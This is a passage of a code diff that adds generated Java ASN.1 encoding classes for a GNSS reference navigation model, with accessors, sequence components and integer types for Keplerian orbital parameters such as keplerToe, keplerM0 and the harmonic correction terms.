+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private ReferenceNavModel.keplerToeType keplerToe_;
+ public ReferenceNavModel.keplerToeType getKeplerToe() {
+ return keplerToe_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceNavModel.keplerToeType
+ */
+ public void setKeplerToe(Asn1Object value) {
+ this.keplerToe_ = (ReferenceNavModel.keplerToeType) value;
+ }
+ public ReferenceNavModel.keplerToeType setKeplerToeToNewInstance() {
+ keplerToe_ = new ReferenceNavModel.keplerToeType();
+ return keplerToe_;
+ }
+
+ private ReferenceNavModel.keplerWType keplerW_;
+ public ReferenceNavModel.keplerWType getKeplerW() {
+ return keplerW_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceNavModel.keplerWType
+ */
+ public void setKeplerW(Asn1Object value) {
+ this.keplerW_ = (ReferenceNavModel.keplerWType) value;
+ }
+ public ReferenceNavModel.keplerWType setKeplerWToNewInstance() {
+ keplerW_ = new ReferenceNavModel.keplerWType();
+ return keplerW_;
+ }
+
+ private ReferenceNavModel.keplerDeltaNType keplerDeltaN_;
+ public ReferenceNavModel.keplerDeltaNType getKeplerDeltaN() {
+ return keplerDeltaN_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceNavModel.keplerDeltaNType
+ */
+ public void setKeplerDeltaN(Asn1Object value) {
+ this.keplerDeltaN_ = (ReferenceNavModel.keplerDeltaNType) value;
+ }
+ public ReferenceNavModel.keplerDeltaNType setKeplerDeltaNToNewInstance() {
+ keplerDeltaN_ = new ReferenceNavModel.keplerDeltaNType();
+ return keplerDeltaN_;
+ }
+
+ private ReferenceNavModel.keplerM0Type keplerM0_;
+ public ReferenceNavModel.keplerM0Type getKeplerM0() {
+ return keplerM0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceNavModel.keplerM0Type
+ */
+ public void setKeplerM0(Asn1Object value) {
+ this.keplerM0_ = (ReferenceNavModel.keplerM0Type) value;
+ }
+ public ReferenceNavModel.keplerM0Type setKeplerM0ToNewInstance() {
+ keplerM0_ = new ReferenceNavModel.keplerM0Type();
+ return keplerM0_;
+ }
+
+ private ReferenceNavModel.keplerOmegaDotType keplerOmegaDot_;
+ public ReferenceNavModel.keplerOmegaDotType getKeplerOmegaDot() {
+ return keplerOmegaDot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceNavModel.keplerOmegaDotType
+ */
+ public void setKeplerOmegaDot(Asn1Object value) {
+ this.keplerOmegaDot_ = (ReferenceNavModel.keplerOmegaDotType) value;
+ }
+ public ReferenceNavModel.keplerOmegaDotType setKeplerOmegaDotToNewInstance() {
+ keplerOmegaDot_ = new ReferenceNavModel.keplerOmegaDotType();
+ return keplerOmegaDot_;
+ }
+
+ private ReferenceNavModel.keplerEType keplerE_;
+ public ReferenceNavModel.keplerEType getKeplerE() {
+ return keplerE_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceNavModel.keplerEType
+ */
+ public void setKeplerE(Asn1Object value) {
+ this.keplerE_ = (ReferenceNavModel.keplerEType) value;
+ }
+ public ReferenceNavModel.keplerEType setKeplerEToNewInstance() {
+ keplerE_ = new ReferenceNavModel.keplerEType();
+ return keplerE_;
+ }
+
+ private ReferenceNavModel.keplerIDotType keplerIDot_;
+ public ReferenceNavModel.keplerIDotType getKeplerIDot() {
+ return keplerIDot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceNavModel.keplerIDotType
+ */
+ public void setKeplerIDot(Asn1Object value) {
+ this.keplerIDot_ = (ReferenceNavModel.keplerIDotType) value;
+ }
+ public ReferenceNavModel.keplerIDotType setKeplerIDotToNewInstance() {
+ keplerIDot_ = new ReferenceNavModel.keplerIDotType();
+ return keplerIDot_;
+ }
+
+ private ReferenceNavModel.keplerAPowerHalfType keplerAPowerHalf_;
+ public ReferenceNavModel.keplerAPowerHalfType getKeplerAPowerHalf() {
+ return keplerAPowerHalf_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceNavModel.keplerAPowerHalfType
+ */
+ public void setKeplerAPowerHalf(Asn1Object value) {
+ this.keplerAPowerHalf_ = (ReferenceNavModel.keplerAPowerHalfType) value;
+ }
+ public ReferenceNavModel.keplerAPowerHalfType setKeplerAPowerHalfToNewInstance() {
+ keplerAPowerHalf_ = new ReferenceNavModel.keplerAPowerHalfType();
+ return keplerAPowerHalf_;
+ }
+
+ private ReferenceNavModel.keplerI0Type keplerI0_;
+ public ReferenceNavModel.keplerI0Type getKeplerI0() {
+ return keplerI0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceNavModel.keplerI0Type
+ */
+ public void setKeplerI0(Asn1Object value) {
+ this.keplerI0_ = (ReferenceNavModel.keplerI0Type) value;
+ }
+ public ReferenceNavModel.keplerI0Type setKeplerI0ToNewInstance() {
+ keplerI0_ = new ReferenceNavModel.keplerI0Type();
+ return keplerI0_;
+ }
+
+ private ReferenceNavModel.keplerOmega0Type keplerOmega0_;
+ public ReferenceNavModel.keplerOmega0Type getKeplerOmega0() {
+ return keplerOmega0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceNavModel.keplerOmega0Type
+ */
+ public void setKeplerOmega0(Asn1Object value) {
+ this.keplerOmega0_ = (ReferenceNavModel.keplerOmega0Type) value;
+ }
+ public ReferenceNavModel.keplerOmega0Type setKeplerOmega0ToNewInstance() {
+ keplerOmega0_ = new ReferenceNavModel.keplerOmega0Type();
+ return keplerOmega0_;
+ }
+
+ private ReferenceNavModel.keplerCrsType keplerCrs_;
+ public ReferenceNavModel.keplerCrsType getKeplerCrs() {
+ return keplerCrs_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceNavModel.keplerCrsType
+ */
+ public void setKeplerCrs(Asn1Object value) {
+ this.keplerCrs_ = (ReferenceNavModel.keplerCrsType) value;
+ }
+ public ReferenceNavModel.keplerCrsType setKeplerCrsToNewInstance() {
+ keplerCrs_ = new ReferenceNavModel.keplerCrsType();
+ return keplerCrs_;
+ }
+
+ private ReferenceNavModel.keplerCisType keplerCis_;
+ public ReferenceNavModel.keplerCisType getKeplerCis() {
+ return keplerCis_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceNavModel.keplerCisType
+ */
+ public void setKeplerCis(Asn1Object value) {
+ this.keplerCis_ = (ReferenceNavModel.keplerCisType) value;
+ }
+ public ReferenceNavModel.keplerCisType setKeplerCisToNewInstance() {
+ keplerCis_ = new ReferenceNavModel.keplerCisType();
+ return keplerCis_;
+ }
+
+ private ReferenceNavModel.keplerCusType keplerCus_;
+ public ReferenceNavModel.keplerCusType getKeplerCus() {
+ return keplerCus_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceNavModel.keplerCusType
+ */
+ public void setKeplerCus(Asn1Object value) {
+ this.keplerCus_ = (ReferenceNavModel.keplerCusType) value;
+ }
+ public ReferenceNavModel.keplerCusType setKeplerCusToNewInstance() {
+ keplerCus_ = new ReferenceNavModel.keplerCusType();
+ return keplerCus_;
+ }
+
+ private ReferenceNavModel.keplerCrcType keplerCrc_;
+ public ReferenceNavModel.keplerCrcType getKeplerCrc() {
+ return keplerCrc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceNavModel.keplerCrcType
+ */
+ public void setKeplerCrc(Asn1Object value) {
+ this.keplerCrc_ = (ReferenceNavModel.keplerCrcType) value;
+ }
+ public ReferenceNavModel.keplerCrcType setKeplerCrcToNewInstance() {
+ keplerCrc_ = new ReferenceNavModel.keplerCrcType();
+ return keplerCrc_;
+ }
+
+ private ReferenceNavModel.keplerCicType keplerCic_;
+ public ReferenceNavModel.keplerCicType getKeplerCic() {
+ return keplerCic_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceNavModel.keplerCicType
+ */
+ public void setKeplerCic(Asn1Object value) {
+ this.keplerCic_ = (ReferenceNavModel.keplerCicType) value;
+ }
+ public ReferenceNavModel.keplerCicType setKeplerCicToNewInstance() {
+ keplerCic_ = new ReferenceNavModel.keplerCicType();
+ return keplerCic_;
+ }
+
+ private ReferenceNavModel.keplerCucType keplerCuc_;
+ public ReferenceNavModel.keplerCucType getKeplerCuc() {
+ return keplerCuc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceNavModel.keplerCucType
+ */
+ public void setKeplerCuc(Asn1Object value) {
+ this.keplerCuc_ = (ReferenceNavModel.keplerCucType) value;
+ }
+ public ReferenceNavModel.keplerCucType setKeplerCucToNewInstance() {
+ keplerCuc_ = new ReferenceNavModel.keplerCucType();
+ return keplerCuc_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerToe() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerToe();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerToeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceNavModel.keplerToeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerToe : "
+ + getKeplerToe().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerW() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerW();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerWToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceNavModel.keplerWType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerW : "
+ + getKeplerW().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerDeltaN() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerDeltaN();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerDeltaNToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceNavModel.keplerDeltaNType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerDeltaN : "
+ + getKeplerDeltaN().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerM0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerM0();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerM0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceNavModel.keplerM0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerM0 : "
+ + getKeplerM0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerOmegaDot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerOmegaDot();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerOmegaDotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceNavModel.keplerOmegaDotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerOmegaDot : "
+ + getKeplerOmegaDot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerE() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerE();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerEToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceNavModel.keplerEType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerE : "
+ + getKeplerE().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerIDot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerIDot();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerIDotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceNavModel.keplerIDotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerIDot : "
+ + getKeplerIDot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerAPowerHalf() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerAPowerHalf();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerAPowerHalfToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceNavModel.keplerAPowerHalfType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerAPowerHalf : "
+ + getKeplerAPowerHalf().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerI0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerI0();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerI0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceNavModel.keplerI0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerI0 : "
+ + getKeplerI0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerOmega0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerOmega0();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerOmega0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceNavModel.keplerOmega0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerOmega0 : "
+ + getKeplerOmega0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerCrs() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerCrs();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerCrsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceNavModel.keplerCrsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerCrs : "
+ + getKeplerCrs().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerCis() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerCis();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerCisToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceNavModel.keplerCisType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerCis : "
+ + getKeplerCis().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 12);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerCus() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerCus();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerCusToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceNavModel.keplerCusType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerCus : "
+ + getKeplerCus().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 13);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerCrc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerCrc();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerCrcToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceNavModel.keplerCrcType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerCrc : "
+ + getKeplerCrc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 14);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerCic() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerCic();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerCicToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceNavModel.keplerCicType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerCic : "
+ + getKeplerCic().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 15);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerCuc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerCuc();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerCucToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceNavModel.keplerCucType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerCuc : "
+ + getKeplerCuc().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerToeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerToeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerToeType() {
+ super();
+ setValueRange("0", "37799");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerToeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerToeType != null) {
+ return ImmutableList.of(TAG_keplerToeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerToeType from encoded stream.
+ */
+ public static keplerToeType fromPerUnaligned(byte[] encodedBytes) {
+ keplerToeType result = new keplerToeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerToeType from encoded stream.
+ */
+ public static keplerToeType fromPerAligned(byte[] encodedBytes) {
+ keplerToeType result = new keplerToeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerToeType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerWType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerWType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerWType() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerWType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerWType != null) {
+ return ImmutableList.of(TAG_keplerWType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerWType from encoded stream.
+ */
+ public static keplerWType fromPerUnaligned(byte[] encodedBytes) {
+ keplerWType result = new keplerWType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerWType from encoded stream.
+ */
+ public static keplerWType fromPerAligned(byte[] encodedBytes) {
+ keplerWType result = new keplerWType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerWType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerDeltaNType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerDeltaNType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerDeltaNType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerDeltaNType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerDeltaNType != null) {
+ return ImmutableList.of(TAG_keplerDeltaNType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerDeltaNType from encoded stream.
+ */
+ public static keplerDeltaNType fromPerUnaligned(byte[] encodedBytes) {
+ keplerDeltaNType result = new keplerDeltaNType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerDeltaNType from encoded stream.
+ */
+ public static keplerDeltaNType fromPerAligned(byte[] encodedBytes) {
+ keplerDeltaNType result = new keplerDeltaNType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerDeltaNType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerM0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerM0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerM0Type() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerM0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerM0Type != null) {
